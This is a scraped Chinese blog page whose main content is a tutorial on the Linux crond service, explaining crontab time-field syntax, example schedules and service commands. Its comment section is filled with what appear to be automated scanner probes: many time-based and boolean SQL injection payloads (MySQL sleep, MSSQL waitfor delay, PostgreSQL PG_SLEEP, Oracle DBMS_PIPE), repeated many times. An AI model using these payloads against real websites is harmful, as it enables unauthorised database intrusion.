消息关闭
    暂无新消息!

Linux任务调度服务:crond

博文作者 : OriUnity官方2017-06-01发布

     在Linux下,定时完成某些操作的功能往往是必须的。实际上,在Linux系统本身也有很多定时操作,如缓存数据到硬盘、日志清理等。这类系统本身要定时执行的操作称为系统任务调度。系统调度配置文件在为/etc/crontab,使用vi /etc/crontab命令可以编辑该文件,不过系统调度并不在本文的讨论范围内,本文主要介绍如何添加配置自己的调度操作,也就是用户任务调度。

    现在先说明下本文要使用的命令。其实,本文只需要使用一个命令,这就是crontab,不过这个命令并不是用来调度的,而是用来提交调度任务的,真正负责调度的是crond服务,这个服务在Linux启动时就自动运行了,可以使用pgrep crond命令查看crond服务的进程ID,如果没运行,就执行以下crond命令即可,但要注意,不要执行多次crond命令,这个命令并不会检测是否已经存在了crond实例,因此,如果执行多次crond命令,在系统中就会存在多个crond实例,这样,在进行调度时,同一个任务就会执行多次了。

    crond任务调度的时间粒度是1分钟,也就是说,我们进行任务调度时,频率最大只能是1分钟调用一次。

    OK,前面讲的内容只是本文的前传,现在进入正题。如果向crond服务提交自己的调度任务呢?答案就是使用crontab命令。 调度任务需要写在一个文本文件中(文件可任意命名),然后通过crontab命令指定,如crontab file,其中file就是调度文件名,这样crontab就将file中定义的调度任务提交给了crond服务,该服务每隔1分钟会检查是否有应该执行的调度任务,如果有就立即执行。

    现在的问题就集中到一点了,调度文件应该如何写呢?

    调度文件的语法是每一行是一个调度任务,如果要定义多个调度任务,就需要写多行。每一行的语法分为如下6部分,每一部分用空格隔开。

minute   hour   day   month   week   command

    从这6部分可以看出,前5部分用来指定时间,也就是什么时候执行任务,最后一部分就是要调度的任务,可以是任务的命令。

    现在的关键是前5部分都代表什么,从前面的定义可以看出,前5部分分别设置分钟、小时、天、月、周(星期几)。那么这些时间具体如何控制任务调度呢?

    这5部分的每一部分都可以设置如下几类值。

    1. 具体数值,如minute = 5,就表示在任何时间的第5分钟执行一次,如13:05,16:05,都会执行

    2.  星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作

    3. 逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”

    4. 中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”

    5. 正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。

    每一部分也是有取值范围的,图1是具体的取值范围。其中week表示星期几,0或7表示星期日。

1

                                                   图1  时间的取值范围


下面让我们看几个具体的例子

 

每5分钟执行一次sh test.sh命令

*/5 * * * * sh test.sh

 

每天的23:30执行 sh clear.sh命令

30 23 * * * sh clear.sh

 

在23点到第二天6点,每小时的25分、40分和55分访问http://127.0.0.1/put.php

25,40,55 23-6 * * * curl http://127.0.0.1/put.php

 

实例8:每周六、周日的2: 30重启smb

30 2 * * 6,0 /etc/init.d/smb restart

 

OK,现在我们已经了解了如何编写调度文件,现在新建一个文本文件,并输入相应的调度任务,假设该文件名是scheme,那么现在执行crontab scheme,然后crond服务就会按调度执行的时间去执行调度任务。

    要注意的是,如果用crontab命令指定其他文件,那么将覆盖前面的调度文件(如scheme),会启用新文件中的调度任务。可以使用crontab -l查询当前的调度任务,使用crontab -e命令编辑当前的调度任务,使用crontab -r取消当前的调度任务。

    下面再介绍一些相关的命令 

/sbin/service crond start //启动服务

/sbin/service crond stop //关闭服务

/sbin/service crond restart //重启服务

/sbin/service crond reload //重新载入配置


crontab -u//设定某个用户的cron服务

crontab -l//列出某个用户cron服务的详细内容

crontab -r//删除没个用户的cron服务

crontab -e//编辑某个用户的cron服务


查看crontab服务状态:

service crond status

 

手动启动crontab服务:

service crond start

 

加入开机自动启动:

chkconfig –level 35 crond on



134个评论

!S!WCRTESTINPUT000000!E! 2019-07-22评论
!S!WCRTESTTEXTAREA000000!E!

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

hNpO9xeT

if(now()=sysdate(),sleep(15),0) · 04-29回复

-1 OR 2+287-287-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0) · 04-29回复

-1 OR 2+23-23-1=0+0+0+1

if(now()=sysdate(),sleep(15),0) · 04-29回复

-1' OR 2+544-544-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0) · 04-29回复

-1' OR 2+599-599-1=0+0+0+1 or 'UPmmNJC7'='

if(now()=sysdate(),sleep(15),0) · 04-29回复

-1" OR 2+319-319-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0) · 04-29回复

if(now()=sysdate(),sleep(15),0)

if(now()=sysdate(),sleep(15),0) · 04-29回复

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

if(now()=sysdate(),sleep(15),0) · 04-29回复

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

if(now()=sysdate(),sleep(15),0) · 04-29回复

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

if(now()=sysdate(),sleep(15),0) · 04-29回复

-1; waitfor delay '0:0:15' --

if(now()=sysdate(),sleep(15),0) · 04-29回复

-1); waitfor delay '0:0:15' --

if(now()=sysdate(),sleep(15),0) · 04-29回复

1 waitfor delay '0:0:15' --

if(now()=sysdate(),sleep(15),0) · 04-29回复

Lgbk9vgx'; waitfor delay '0:0:15' --

if(now()=sysdate(),sleep(15),0) · 04-29回复

rqvZuKeW'; waitfor delay '0:0:6' --

if(now()=sysdate(),sleep(15),0) · 04-29回复

5UTIm2QY'; waitfor delay '0:0:3' --

if(now()=sysdate(),sleep(15),0) · 04-29回复

-5 OR 280=(SELECT 280 FROM PG_SLEEP(15))--

if(now()=sysdate(),sleep(15),0) · 04-29回复

-5) OR 926=(SELECT 926 FROM PG_SLEEP(15))--

if(now()=sysdate(),sleep(15),0) · 04-29回复

-1)) OR 823=(SELECT 823 FROM PG_SLEEP(15))--

if(now()=sysdate(),sleep(15),0) · 04-29回复

WVxlRikh' OR 475=(SELECT 475 FROM PG_SLEEP(15))--

if(now()=sysdate(),sleep(15),0) · 04-29回复

ugpcw413') OR 725=(SELECT 725 FROM PG_SLEEP(15))--

if(now()=sysdate(),sleep(15),0) · 04-29回复

VhXxmLRM')) OR 497=(SELECT 497 FROM PG_SLEEP(15))--

if(now()=sysdate(),sleep(15),0) · 04-29回复

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

if(now()=sysdate(),sleep(15),0) · 04-29回复

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

if(now()=sysdate(),sleep(15),0) · 04-29回复

1'"

if(now()=sysdate(),sleep(15),0) · 04-29回复

@@hLNmp

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复

555

if(now()=sysdate(),sleep(15),0) · 04-29回复
555
555
555
555
555
555
555
555
555
I355Odq8
-1 OR 2+450-450-1=0+0+0+1 --
-1 OR 2+722-722-1=0+0+0+1
-1' OR 2+68-68-1=0+0+0+1 --
-1' OR 2+363-363-1=0+0+0+1 or 'vZV94huf'='
-1" OR 2+312-312-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
8efX7oeq'; waitfor delay '0:0:15' --
-5 OR 253=(SELECT 253 FROM PG_SLEEP(15))--
-5) OR 593=(SELECT 593 FROM PG_SLEEP(15))--
-1)) OR 141=(SELECT 141 FROM PG_SLEEP(15))--
7OOPXNcr' OR 256=(SELECT 256 FROM PG_SLEEP(15))--
eOI0m7vN') OR 775=(SELECT 775 FROM PG_SLEEP(15))--
c6tVgJPK')) OR 129=(SELECT 129 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1
1
@@Xf3oE
@@Xf3oE
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555